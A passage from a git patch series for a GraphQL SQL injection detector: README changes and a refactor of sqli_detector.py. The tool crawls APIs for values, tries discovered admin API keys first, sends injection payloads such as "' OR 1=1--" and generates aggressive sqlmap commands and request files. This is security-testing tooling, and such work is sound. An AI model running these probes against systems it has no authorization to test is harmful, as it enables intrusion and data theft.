this version) +## CLI flags (summary) - `` (positional) GraphQL endpoint URL. @@ -94,11 +76,46 @@ Examples: - `--max-items N` (default: 10) Max items per list to inspect when extracting values. +- `--crawl-delay FLOAT` (default: 0.0) + Delay in seconds between requests during crawling. + +- `--verbose` + Print queries and additional debug information (useful to inspect what the crawler is calling and the responses). + +--- + +## Output +- Human-readable findings printed to stdout (colored if colorama is available). +- Repro marker files written to `repro-payloads/` when findings are confirmed. Filenames include a sanitized field/arg name, timestamp, and short hash to avoid collisions. +- Each finding contains: + - field and argument name + - arguments used for the attack + - evidence (error message or description) + - marker request path + - recommended sqlmap command: + ``` + sqlmap --level 5 --risk 3 -r '' -p "JSON[query]" --batch --skip-urlencode --random-agent + ``` + +--- + +## Marker (.http) files +- Marker files are full HTTP POST requests that include headers and a JSON body where the vulnerable value has been replaced by `*`. Example: + ``` + POST /graphql HTTP/1.1 + Host: example.com + Content-Type: application/json + Authorization: Bearer TOKEN + + {"query":"query { user(id: \"123\") { email } }"} + ``` +- The target value in the JSON is substituted with `*` so sqlmap can inject into `JSON[query]` using `-r ` and `-p "JSON[query]"`. + --- ## Detection heuristics / confirmation rules -To reduce noisy false positives, the detector reports a parameter only when one or more of the following hold: -- A clear SQL error is present in GraphQL `errors` (matches common DB error signatures), OR +To reduce noisy false positives the detector reports a parameter only when one or more of the following hold: +- A clear SQL error is present in GraphQL `errors` (matches DB error signatures), OR - Two or more distinct payloads produce evidence, OR - A combination of strong signals (e.g., RESPONSE_DIFF + NULL_ON_ATTACK), OR - A `NULL_ON_ATTACK` signal confirmed against a meaningful baseline. @@ -111,35 +128,20 @@ Signals checked: --- -## Example output (sanitized) -``` -[*] Running introspection on https://example.com/graphql -[+] Baseline for user.email works with args: {'id': '123'} -[!] Found 1 potential SQL injection findings: - -[1] SQL_ERROR_IN_RESPONSE: user.email - Arguments used: {'id': '123', 'email': "' OR 1=1--"} - Evidence: Syntax error near '...' (truncated) - Marker request: repro-payloads/user_email_20251215T103000Z_1a2b3c4d_marker.http - Recommended sqlmap command: - sqlmap --level 5 --risk 3 -r 'repro-payloads/user_email_20251215T103000Z_1a2b3c4d_marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent --------------------------------------------------------------------------------- -``` - ---- - ## Limitations -- The script uses a small, curated payload set — not exhaustive. Use sqlmap (the generated markers) for deeper automated testing. -- No built-in concurrency or rate-limiting flags; tests run sequentially. For large schemas or many fields, extend the script to support workers. -- The crawler increases request volume and may reveal or store sensitive data. Use only on authorized targets and with caution. -- Time-based blind SQLi is not tested by default. Add time-based payloads and timing checks to detect blind techniques. -- If GraphQL introspection is disabled, discovery will fail; manual schema input or alternative enumeration is required. -- Complex input objects, deeply nested relationships or custom auth flows may need custom logic to populate arguments successfully. +- Small, curated payload set — not exhaustive. Use sqlmap (the generated markers) for deeper automated testing. +- Tests are sequential; there is no built-in concurrency/worker pool. For large schemas consider extending to multiple workers. +- Crawling can reveal or store sensitive data. Use crawling only on authorized targets and treat `repro-payloads/` as sensitive output. +- Time-based blind SQLi is not tested by default. Add time-based payloads and response timing checks to detect blind techniques. +- If GraphQL introspection is disabled, discovery will fail; provide schema manually or use alternative enumeration techniques. +- Complex input objects, deeply nested relationships, or custom auth flows may need custom logic to populate arguments successfully. --- -## Extending / Contributions -Ideas for future improvements: -- Add boolean- and time-based payloads for blind SQLi detection. -- Add concurrency/rate-limiting (worker pool + token bucket). -- Add more robust extraction heuristics (emails, UUIDs, hashes) and fuzzy matching for argument names. +## Suggested next improvements +- Add flags for: + - concurrency / workers + - custom payload lists and strategies +- Expand payloads to include boolean- and time-based techniques (blind SQLi). +- Add more robust heuristics (email/UUID/hash detection, fuzzy matches). +- From a3334d7f983c93091d0720f7487de6650e7e2ca5 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 23:03:34 +0100 Subject: [PATCH 20/30] Typo --- sqli/README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/sqli/README.md b/sqli/README.md index b32e8b8..ef304b9 100644 --- a/sqli/README.md +++ b/sqli/README.md @@ -144,4 +144,3 @@ Signals checked: - custom payload lists and strategies - Expand payloads to include boolean- and time-based techniques (blind SQLi). - Add more robust heuristics (email/UUID/hash detection, fuzzy matches). -- From 8aecf15ee3f955e3177a6801e879117210ad595b Mon Sep 17 00:00:00 2001 From: jonyluke Date: Wed, 17 Dec 2025 00:18:30 +0100 Subject: [PATCH 21/30] Refactor sqli_detector.py for clarity and structure Refactor sqli_detector.py for improved structure and clarity. Added new functions for evidence handling and adjusted existing logic for better readability. --- sqli/sqli_detector.py | 487 +++++++++++++++++++++++++++++------------- 1 file changed, 344 insertions(+), 143 deletions(-) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 0adfde5..92cdf5d 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -1,16 +1,4 @@ #!/usr/bin/env python3 -""" -sqli_detector.py -GraphQL SQL injection mini-detector (Python) - General crawler + extractor. - -Change in this revision: -- Prioritizes admin API keys when populating arguments that look like keys (e.g. apiKey, key, token). - If the crawler has discovered keys with role='admin', those keys are tried first for arguments - that appear to accept API keys. This increases the chance of triggering privileged code paths - that may expose SQLi behavior. - -Note: Crawling remains opt-in via --crawl. Use with authorization and care. -""" from __future__ import annotations import re import json @@ -18,6 +6,7 @@ import hashlib import argparse import time +import shutil from datetime import datetime, timezone from typing import Any, Dict, List, Optional, Set, Tuple from urllib.parse import urlparse @@ -103,8 +92,11 @@ def __getattr__(self, name): return "" TIMEOUT = 20 REPRO_DIR = "repro-payloads" +INDEX_FILE = "index.json" TRUNCATE_LEN_DEFAULT = 120 +EVIDENCE_MAX_CHARS = 80 # max chars to display for evidence in console +# -------------------- Utilities ------------------------------------------- def try_parse_headers(h: Optional[str]) -> Dict[str, str]: if not h: @@ -131,13 +123,12 @@ def try_parse_headers(h: Optional[str]) -> Dict[str, str]: headers[k.strip()] = v.strip() return headers - def post_graphql(endpoint: str, headers: Dict[str, str], payload: Dict[str, Any], verbose: bool = False) -> Dict[str, Any]: h = {"Content-Type": "application/json"} h.update(headers or {}) if verbose: q = payload.get("query") if isinstance(payload, dict) else str(payload) - print(Fore.BLUE + Style.DIM + "[>] POST " + endpoint + " BODY: " + Style.RESET_ALL + truncate_str(q, 800)) + print(Fore.BLUE + Style.DIM + "[>] POST " + endpoint + " BODY: " + Style.RESET_ALL + (q[:800] + "..." if len(q) > 800 else q)) try: r = requests.post(endpoint, json=payload, headers=h, timeout=TIMEOUT) try: @@ -148,28 +139,29 @@ def post_graphql(endpoint: str, headers: Dict[str, str], payload: Dict[str, Any] except requests.RequestException as e: return {"status": 0, "data": {"errors": [{"message": str(e)}]}} - def extract_named_type(t: Optional[Dict[str, Any]]) -> Optional[str]: - if not t: return None - if t.get("name"): return t.get("name") - if t.get("ofType"): return extract_named_type(t.get("ofType")) + if not t: + return None + if t.get("name"): + return t.get("name") + if t.get("ofType"): + return extract_named_type(t.get("ofType")) return None - def is_string_type(arg_type_name: Optional[str]) -> bool: - if not arg_type_name: return False + if not arg_type_name: + return False n = arg_type_name.lower() return n in ("string", "id", "varchar", "text") - def find_type_definition(schema_types: List[Dict[str, Any]], name: Optional[str]) -> Optional[Dict[str, Any]]: - if not name: return None + if not name: + return None for t in schema_types: if t.get("name") == name: return t return None - def pick_scalar_field_for_type(type_def: Optional[Dict[str, Any]], schema_types: List[Dict[str, Any]]) -> Optional[str]: if not type_def or not type_def.get("fields"): return None @@ -185,20 +177,26 @@ def pick_scalar_field_for_type(type_def: Optional[Dict[str, Any]], schema_types: return f.get("name") return None - def normalize_resp(data: Any) -> str: try: return json.dumps(data, sort_keys=True, ensure_ascii=False) except Exception: return str(data) - def truncate_str(s: str, n: int = 180) -> str: if s is None: return "" s = str(s) return s if len(s) <= n else s[:n] + "..." +def first_evidence_line(evidence: str, max_len: int = 200) -> str: + if not evidence: + return "" + for ln in evidence.splitlines(): + ln = ln.strip() + if ln: + return truncate_str(ln, max_len) + return truncate_str(evidence, max_len) def build_query(field_name: str, args_dict: Dict[str, str], selection: Optional[str]) -> Dict[str, Any]: if args_dict: @@ -214,11 +212,9 @@ def build_query(field_name: str, args_dict: Dict[str, str], selection: Optional[ q = f'query {{ {field_name} }}' return {"query": q} - def _sanitize_name(s: str) -> str: return re.sub(r"[^\w\-]+", "_", s)[:64] - def _write_raw_http(endpoint: str, headers: Dict[str, str], body_json: Dict[str, Any], fname: str) -> str: repo_root = Path.cwd() repro_dir = repo_root / REPRO_DIR @@ -250,29 +246,44 @@ def _write_raw_http(endpoint: str, headers: Dict[str, str], body_json: Dict[str, fh.write(content) return str(fpath) - -def write_repro_request_file_with_marker(endpoint: str, headers: Dict[str, str], attack_query: str, field: str, arg: str, payload: str) -> str: +def _read_index() -> Dict[str, Any]: + idx_path = Path(REPRO_DIR) / INDEX_FILE + if not idx_path.exists(): + return {} try: - escaped_payload = json.dumps(payload) + with open(idx_path, "r", encoding="utf-8") as fh: + return json.load(fh) except Exception: - escaped_payload = payload - escaped_marker = json.dumps("*") - if escaped_payload in attack_query: - marker_query = attack_query.replace(escaped_payload, escaped_marker, 1) - elif payload in attack_query: - marker_query = attack_query.replace(payload, "*", 1) - else: - marker_query = attack_query.replace("\\" + payload, escaped_marker, 1) - ts = datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ") - short_hash = hashlib.sha1(marker_query.encode("utf-8")).hexdigest()[:8] - fname = f"{_sanitize_name(field)}_{_sanitize_name(arg)}_{ts}_{short_hash}_marker.http" - body = {"query": marker_query} - return _write_raw_http(endpoint, headers, body, fname) + return {} +def _write_index(idx: Dict[str, Any]) -> None: + idx_path = Path(REPRO_DIR) + idx_path.mkdir(parents=True, exist_ok=True) + with open(idx_path / INDEX_FILE, "w", encoding="utf-8") as fh: + json.dump(idx, fh, ensure_ascii=False, indent=2) -def _build_sqlmap_cmd_marker(repro_marker_path: str) -> str: - return f"sqlmap --level 5 --risk 3 -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --random-agent" +# -------------------- Crawling / extraction -------------------------------- +def seed_field_queries(field: Dict[str, Any], types: List[Dict[str, Any]], page_sizes: List[int], max_items: int) -> List[str]: + fname = field.get("name") + return_type_name = extract_named_type(field.get("type")) + ret_def = find_type_definition(types, return_type_name) + scalars = [] + if ret_def and ret_def.get("fields"): + for f in ret_def.get("fields", [])[:20]: + fname_f = f.get("name") + if fname_f and not fname_f.startswith("__"): + scalars.append(fname_f) + if not scalars: + scalars = ["__typename"] + selection = " ".join(scalars[:8]) + queries = [] + queries.append(f'query {{ {fname} {{ {selection} }} }}') + for n in page_sizes: + queries.append(f'query {{ {fname}(first: {n}) {{ edges {{ node {{ {selection} }} }} }} }}') + for n in page_sizes: + queries.append(f'query {{ {fname}(first: {n}) {{ {selection} }} }}') + return queries def get_field_from_response(resp_data: Any, field_name: str) -> Any: if not resp_data: @@ -284,7 +295,6 @@ def get_field_from_response(resp_data: Any, field_name: str) -> Any: return resp_data.get(field_name) return None - def _pretty_print_extracted_values(extracted_values: Dict[str, Set[str]], key_roles: Dict[str, str], max_per_key: int = 6): if not extracted_values and not key_roles: print(Fore.YELLOW + "[*] No extracted values found.") @@ -301,7 +311,6 @@ def _pretty_print_extracted_values(extracted_values: Dict[str, Set[str]], key_ro sample = vals[:max_per_key] print(Fore.CYAN + f" {key}: " + Fore.WHITE + f"{json.dumps(sample, ensure_ascii=False)}" + Style.RESET_ALL) - def try_decode_global_id(val: str) -> Optional[Tuple[str, str]]: if not isinstance(val, str): return None @@ -318,28 +327,28 @@ def try_decode_global_id(val: str) -> Optional[Tuple[str, str]]: return parts[0].strip(), parts[1].strip() return None - -def seed_field_queries(field: Dict[str, Any], types: List[Dict[str, Any]], page_sizes: List[int], max_items: int) -> List[str]: - fname = field.get("name") - return_type_name = extract_named_type(field.get("type")) - ret_def = find_type_definition(types, return_type_name) - scalars = [] - if ret_def and ret_def.get("fields"): - for f in ret_def.get("fields", [])[:20]: - fname_f = f.get("name") - if fname_f and not fname_f.startswith("__"): - scalars.append(fname_f) - if not scalars: - scalars = ["__typename"] - selection = " ".join(scalars[:8]) - queries = [] - queries.append(f'query {{ {fname} {{ {selection} }} }}') - for n in page_sizes: - queries.append(f'query {{ {fname}(first: {n}) {{ edges {{ node {{ {selection} }} }} }} }}') - for n in page_sizes: - queries.append(f'query {{ {fname}(first: {n}) {{ {selection} }} }}') - return queries - +def simple_name_match_values(arg_name: str, extracted_values: Dict[str, Set[str]]) -> List[str]: + an = (arg_name or "").lower() + if an in extracted_values: + return list(extracted_values[an])[:5] + candidates = [] + for k, vals in extracted_values.items(): + kn = k.lower() + if an in kn or kn in an: + candidates.extend(list(vals)[:3]) + if 'key' in an and 'key' in extracted_values: + candidates = list(extracted_values['key'])[:5] + candidates + if 'token' in an and 'token' in extracted_values: + candidates = list(extracted_values['token'])[:5] + candidates + seen = set() + res = [] + for v in candidates: + if v not in seen: + res.append(v) + seen.add(v) + if len(res) >= 5: + break + return res def crawl_and_extract_values(endpoint: str, headers: Dict[str, str], @@ -350,6 +359,10 @@ def crawl_and_extract_values(endpoint: str, max_items_per_list: int = 10, delay: float = 0.0, verbose: bool = False) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: + """ + Crawl simple query fields to extract string values to reuse as candidates for arguments. + Returns (extracted_values, key_roles). + """ print(Fore.CYAN + "[*] Crawling schema to extract values for candidate inputs...") extracted_values: Dict[str, Set[str]] = {} key_roles: Dict[str, str] = {} @@ -413,6 +426,7 @@ def collect(obj: Any, prefix: Optional[str] = None): if delay and requests_made < max_requests: time.sleep(delay) + # decode base64/global IDs to numeric ids added_decoded = 0 for key, vals in list(extracted_values.items()): for v in list(vals)[:200]: @@ -425,6 +439,7 @@ def collect(obj: Any, prefix: Optional[str] = None): if added_decoded: print(Fore.GREEN + f"[+] Decoded {added_decoded} global/base64 id(s)") + # follow-up BFS using id-like args depth = 0 while depth < max_depth and requests_made < max_requests: progress = False @@ -526,30 +541,195 @@ def collect(obj: Any, prefix: Optional[str] = None): _pretty_print_extracted_values(extracted_values, key_roles) return extracted_values, key_roles +# -------------------- Grouping & printing (left-aligned compact) ----------- -def simple_name_match_values(arg_name: str, extracted_values: Dict[str, Set[str]]) -> List[str]: - an = arg_name.lower() - if an in extracted_values: - return list(extracted_values[an])[:5] - candidates = [] - for k, vals in extracted_values.items(): - kn = k.lower() - if an in kn or kn in an: - candidates.extend(list(vals)[:3]) - if 'key' in an and 'key' in extracted_values: - candidates = list(extracted_values['key'])[:5] + candidates - if 'token' in an and 'token' in extracted_values: - candidates = list(extracted_values['token'])[:5] + candidates - seen = set() - res = [] - for v in candidates: - if v not in seen: - res.append(v) - seen.add(v) - if len(res) >= 5: - break - return res +def compute_confidence(evidence_type: str, payload: str, has_repro: bool) -> float: + weights = { + "SQL_ERROR": 0.6, + "SQL_ERROR_IN_RESPONSE": 0.6, + "SQL_ERROR_IN_RESPONSE_SIMPLE": 0.6, + "RESPONSE_DIFF": 0.2, + "RESPONSE_DIFF_SIMPLE": 0.1, + "NULL_ON_ATTACK": 0.15, + } + base = weights.get(evidence_type, 0.1) + payload_bonus = 0.0 + if payload and re.search(r"(\bOR\b|\bUNION\b|--|/\*|')", payload, re.I): + payload_bonus = 0.1 + repro_bonus = 0.15 if has_repro else 0.0 + score = base + payload_bonus + repro_bonus + if score > 0.99: + score = 0.99 + return round(score, 2) + +def group_findings_by_param(findings: List[Dict[str, Any]], endpoint: str) -> Dict[str, Any]: + grouped: Dict[str, Any] = {} + for f in findings: + param = f.get("arg") or "unknown" + field = f.get("field") or "" + args_context = dict(f.get("args_used") or {}) + args_context.pop(param, None) + payload = f.get("payload") + evidence_type = f.get("type") or "" + evidence_text = f.get("evidence") or "" + repro = f.get("repro") or "" + recommended_cmd = f.get("recommended_cmd") or (_build_sqlmap_cmd_marker(repro) if repro else "") + timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + confidence = compute_confidence(evidence_type, payload or "", bool(repro)) + occ_list = grouped.setdefault(param, {"occurrences": {}, "aggregate": {}}) + occ_key = f"{field} @ {endpoint}" + occ = occ_list["occurrences"].setdefault(occ_key, {"field": field, "endpoint": endpoint, "args_context": args_context, "findings": []}) + occ["findings"].append({ + "payload": payload, + "evidence_type": evidence_type, + "evidence": evidence_text, + "attack_response": truncate_str(str(f.get("attack_response")), 1000), + "base_response": truncate_str(str(f.get("base_response")), 1000), + "repro": repro, + "recommended_cmd": recommended_cmd, + "timestamp": timestamp, + "confidence": confidence, + "args_used": f.get("args_used") + }) + for param, data in list(grouped.items()): + occs = [] + all_payloads = set() + max_conf = 0.0 + for k, v in data["occurrences"].items(): + occs.append(v) + for fin in v.get("findings", []): + all_payloads.add(fin.get("payload")) + if fin.get("confidence", 0) > max_conf: + max_conf = fin.get("confidence", 0) + severity = "high" if max_conf >= 0.9 else "low" + data["occurrences"] = occs + data["aggregate"] = { + "unique_payloads": len(all_payloads), + "total_evidences": sum(len(o.get("findings", [])) for o in occs), + "max_confidence": max_conf, + "fields_affected": len(occs), + "severity": severity, + "notes": "" + } + return grouped + +def print_grouped_summary(grouped: Dict[str, Any]): + """ + Left-aligned compact printing: + - header: [n] (param in red; no occurrence line) + - Slight indentation for Payload / Evidence lines. + - Payload label in yellow, Evidence label in blue. + - Recommended sqlmap command label in magenta, printed with NO extra indentation. + """ + if not grouped: + return + params = sorted(grouped.items(), key=lambda kv: (0 if kv[1].get("aggregate", {}).get("severity") == "high" else 1, kv[0])) + print(Fore.MAGENTA + "\n[*] Findings grouped by vulnerable parameter:\n") + + for idx, (param, data) in enumerate(params, start=1): + # header left aligned, param in red + print(f"[{idx}] {Fore.RED}{param}{Style.RESET_ALL}") + + for occ in data.get("occurrences", []): + # omit printing " @ (context args: ...)" + + for fin in occ.get("findings", []): + payload = fin.get("payload") + payload_display = payload if payload is not None else json.dumps(fin.get("args_used") or {}, ensure_ascii=False) + # slight indent for payload/evidence + print(" " + Fore.YELLOW + "Payload: " + Style.RESET_ALL + f"{payload_display}") + + evidence = fin.get("evidence") or "" + cleaned = re.sub(r"\s+", " ", evidence).strip() + cleaned = re.sub(r"\[SQL: .*", "[SQL TRACE]", cleaned, flags=re.S) + if len(cleaned) > EVIDENCE_MAX_CHARS: + cleaned = cleaned[:EVIDENCE_MAX_CHARS - 3].rstrip() + "..." + if re.search(r"\[SQL TRACE\]", evidence, flags=re.I) and "[SQL TRACE]" not in cleaned: + cleaned = cleaned + " [SQL TRACE]" + print(" " + Fore.BLUE + "Evidence: " + Style.RESET_ALL + cleaned) + print("") # blank line between findings + + # Recommended sqlmap command label in magenta, no indentation + first_repro = None + first_cmd = None + for fin in occ.get("findings", []): + if fin.get("repro"): + first_repro = fin.get("repro") + first_cmd = fin.get("recommended_cmd") or _build_sqlmap_cmd_marker(first_repro) + break + if first_repro: + print(Fore.MAGENTA + "Recommended sqlmap command:" + Style.RESET_ALL) + print(Fore.MAGENTA + f"{first_cmd}" + Style.RESET_ALL) + print("") # blank line between occurrences + +# -------------------- Detection flow (markers, checks) --------------------- + +def _canonical_marker_key(endpoint: str, field: str, arg: str, context_args: Dict[str, Any]) -> str: + parts = [endpoint, field, arg] + arg_names = sorted(list(context_args.keys())) if isinstance(context_args, dict) else [] + parts.append(",".join(arg_names)) + return "|".join(parts) + +def write_or_update_marker(endpoint: str, headers: Dict[str, str], attack_query: str, + field: str, arg: str, payload: str, + context_args: Dict[str, Any], + evidence_type: Optional[str], evidence_text: Optional[str]) -> str: + try: + escaped_payload = json.dumps(payload) + except Exception: + escaped_payload = payload + escaped_marker = json.dumps("*") + if escaped_payload in attack_query: + marker_query = attack_query.replace(escaped_payload, escaped_marker, 1) + elif payload in attack_query: + marker_query = attack_query.replace(payload, "*", 1) + else: + marker_query = attack_query.replace("\\" + payload, escaped_marker, 1) + + canonical = _canonical_marker_key(endpoint, field, arg, context_args or {}) + short_hash = hashlib.sha1(canonical.encode("utf-8")).hexdigest()[:8] + filename = f"{_sanitize_name(field)}_{_sanitize_name(arg)}_{short_hash}_marker.http" + + repro_dir = Path(REPRO_DIR) + repro_dir.mkdir(parents=True, exist_ok=True) + marker_path = repro_dir / filename + + if not marker_path.exists(): + body = {"query": marker_query} + _write_raw_http(endpoint, headers, body, filename) + + idx = _read_index() + entry = idx.get(filename) or { + "endpoint": endpoint, + "field": field, + "arg": arg, + "context_arg_names": sorted(list((context_args or {}).keys())), + "evidences": [] + } + + ts = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + repro_rel = str(marker_path) + recommended_cmd = f"sqlmap --level 5 --risk 3 -r '{repro_rel}' -p \"JSON[query]\" --batch --skip-urlencode --random-agent" + + evidence_record = { + "payload": payload, + "evidence_type": evidence_type or "", + "evidence": evidence_text or "", + "timestamp": ts, + "repro": repro_rel, + "recommended_cmd": recommended_cmd + } + + exists = any(e.get("payload") == payload and e.get("evidence") == evidence_text for e in entry.get("evidences", [])) + if not exists: + entry.setdefault("evidences", []).append(evidence_record) + idx[filename] = entry + _write_index(idx) + return str(marker_path) + +def _build_sqlmap_cmd_marker(repro_marker_path: str) -> str: + return f"sqlmap --level 5 --risk 3 -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --parse-errors --random-agent" def check_sql_error_in_response(resp_data: Dict[str, Any]) -> Optional[Dict[str, str]]: if not resp_data: @@ -564,7 +744,6 @@ def check_sql_error_in_response(resp_data: Dict[str, Any]) -> Optional[Dict[str, return {"evidence": msg, "pattern": rx.pattern} return None - def detect_missing_required_arg(resp_data: Dict[str, Any]) -> Optional[str]: if not resp_data: return None @@ -576,7 +755,6 @@ def detect_missing_required_arg(resp_data: Dict[str, Any]) -> Optional[str]: return m.group(1) return None - def detect_graphql_syntax_error(resp_data: Dict[str, Any]) -> Optional[str]: if not resp_data: return None @@ -587,14 +765,31 @@ def detect_graphql_syntax_error(resp_data: Dict[str, Any]) -> Optional[str]: return msg return None +def compute_confidence(evidence_type: str, payload: str, has_repro: bool) -> float: + weights = { + "SQL_ERROR": 0.6, + "SQL_ERROR_IN_RESPONSE": 0.6, + "SQL_ERROR_IN_RESPONSE_SIMPLE": 0.6, + "RESPONSE_DIFF": 0.2, + "RESPONSE_DIFF_SIMPLE": 0.1, + "NULL_ON_ATTACK": 0.15, + } + base = weights.get(evidence_type, 0.1) + payload_bonus = 0.0 + if payload and re.search(r"(\bOR\b|\bUNION\b|--|/\*|')", payload, re.I): + payload_bonus = 0.1 + repro_bonus = 0.15 if has_repro else 0.0 + score = base + payload_bonus + repro_bonus + if score > 0.99: + score = 0.99 + return round(score, 2) + +# -------------------- Main detection logic -------------------------------- + +def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, + crawl_depth: int = 2, max_requests: int = 250, max_items: int = 10, + crawl_delay: float = 0.0, verbose: bool = False) -> List[Dict[str, Any]]: -def write_marker_and_cmd(endpoint: str, headers: Dict[str, str], attack_query: str, field: str, arg: str, payload: str) -> Tuple[str, str]: - repro = write_repro_request_file_with_marker(endpoint, headers, attack_query, field, arg, payload) - cmd = _build_sqlmap_cmd_marker(repro) - return repro, cmd - - -def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, crawl_depth: int = 2, max_requests: int = 250, max_items: int = 10, crawl_delay: float = 0.0, verbose: bool = False) -> List[Dict[str, Any]]: print(Fore.CYAN + f"[*] Running introspection on {endpoint}") intros = post_graphql(endpoint, headers, {"query": INTROSPECTION_QUERY}, verbose=verbose) schema = None @@ -614,11 +809,15 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr query_fields = query_type.get("fields", []) if crawl: - extracted_values, key_roles = crawl_and_extract_values(endpoint, headers, query_fields, types, max_depth=crawl_depth, max_requests=max_requests, max_items_per_list=max_items, delay=crawl_delay, verbose=verbose) + extracted_values, key_roles = crawl_and_extract_values( + endpoint, headers, query_fields, types, + max_depth=crawl_depth, max_requests=max_requests, + max_items_per_list=max_items, delay=crawl_delay, verbose=verbose) else: - extracted_values, key_roles = crawl_and_extract_values(endpoint, headers, query_fields, types, max_depth=1, max_requests=50, max_items_per_list=max_items, delay=crawl_delay, verbose=verbose) + extracted_values, key_roles = crawl_and_extract_values( + endpoint, headers, query_fields, types, + max_depth=1, max_requests=50, max_items_per_list=max_items, delay=crawl_delay, verbose=verbose) - # build a list of admin keys (if any) to prioritize for key-like args admin_keys = [k for k, r in key_roles.items() if isinstance(r, str) and 'admin' in r.lower()] if admin_keys: print(Fore.GREEN + f"[+] Prioritizing {len(admin_keys)} admin key(s) when filling key-like arguments") @@ -655,9 +854,7 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr for arg in args: an = arg.get("name") ev = list(extracted_values.get(an, []))[:8] - # If there are admin keys and this arg looks like a key, prioritize admin keys if an and any(k in an.lower() for k in ("key", "apikey", "token")) and admin_keys: - # put admin keys first (dedup while preserving order) deduped = [] for k in admin_keys: if k not in deduped: @@ -762,23 +959,31 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr temp_findings.setdefault(key, []) if sql_err: - repro, cmd = write_marker_and_cmd(endpoint, headers, attack_q_str, field_name, target_arg_name, payload) + marker_path = write_or_update_marker( + endpoint, headers, attack_q_str, field_name, target_arg_name, payload, + {k: v for k, v in attack_args.items() if k != target_arg_name}, + "SQL_ERROR", sql_err.get("evidence")) + cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, "payload": payload, "args_used": attack_args.copy(), - "type": "SQL_ERROR_IN_RESPONSE", + "type": "SQL_ERROR", "evidence": sql_err["evidence"], "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), "recommended_cmd": cmd, - "repro": repro, + "repro": marker_path, }) continue if base_norm and attack_norm and base_norm != attack_norm and not base_has_error: - repro, cmd = write_marker_and_cmd(endpoint, headers, attack_q_str, field_name, target_arg_name, payload) + marker_path = write_or_update_marker( + endpoint, headers, attack_q_str, field_name, target_arg_name, payload, + {k: v for k, v in attack_args.items() if k != target_arg_name}, + "RESPONSE_DIFF", "Baseline != Attack") + cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -789,12 +994,16 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), "recommended_cmd": cmd, - "repro": repro, + "repro": marker_path, }) continue if base_norm and attack_norm and ("null" in attack_norm) and ("null" not in base_norm): - repro, cmd = write_marker_and_cmd(endpoint, headers, attack_q_str, field_name, target_arg_name, payload) + marker_path = write_or_update_marker( + endpoint, headers, attack_q_str, field_name, target_arg_name, payload, + {k: v for k, v in attack_args.items() if k != target_arg_name}, + "NULL_ON_ATTACK", "Null returned on attack while baseline had data") + cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -805,12 +1014,16 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), "recommended_cmd": cmd, - "repro": repro, + "repro": marker_path, }) continue if simple_field_value not in (None, {}, []) and simple_base_norm and attack_norm and simple_base_norm != attack_norm: - repro, cmd = write_marker_and_cmd(endpoint, headers, attack_q_str, field_name, target_arg_name, payload) + marker_path = write_or_update_marker( + endpoint, headers, attack_q_str, field_name, target_arg_name, payload, + {k: v for k, v in attack_args.items() if k != target_arg_name}, + "RESPONSE_DIFF_SIMPLE", "Simple baseline __typename differs from attack") + cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -821,10 +1034,11 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "base_response": simple_base_resp.get("data"), "attack_response": attack_resp.get("data"), "recommended_cmd": cmd, - "repro": repro, + "repro": marker_path, }) continue + # fallback simple checks for payload in PAYLOADS: simple_attack_q = build_query(field_name, {target_arg_name: payload}, "__typename") simple_q_str = simple_attack_q.get("query") if isinstance(simple_attack_q, dict) else str(simple_attack_q) @@ -856,7 +1070,9 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr temp_findings.setdefault(key, []) if sa_err: - repro, cmd = write_marker_and_cmd(endpoint, headers, simple_q_str, field_name, target_arg_name, payload) + marker_path = write_or_update_marker( + endpoint, headers, simple_q_str, field_name, target_arg_name, payload, {}, "SQL_ERROR", sa_err.get("evidence")) + cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -867,12 +1083,14 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "base_response": simple_base_resp.get("data"), "attack_response": simple_atk_resp.get("data"), "recommended_cmd": cmd, - "repro": repro, + "repro": marker_path, }) break if simple_field_value not in (None, {}, []) and simple_base_norm and sa_norm and simple_base_norm != sa_norm: - repro, cmd = write_marker_and_cmd(endpoint, headers, simple_q_str, field_name, target_arg_name, payload) + marker_path = write_or_update_marker( + endpoint, headers, simple_q_str, field_name, target_arg_name, payload, {}, "RESPONSE_DIFF_SIMPLE", "Simple baseline __typename differs from attack") + cmd = _build_sqlmap_cmd_marker(marker_path) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -883,11 +1101,11 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, cr "base_response": simple_base_resp.get("data"), "attack_response": simple_atk_resp.get("data"), "recommended_cmd": cmd, - "repro": repro, + "repro": marker_path, }) break - # post-process and confirmation rules + # finalize with 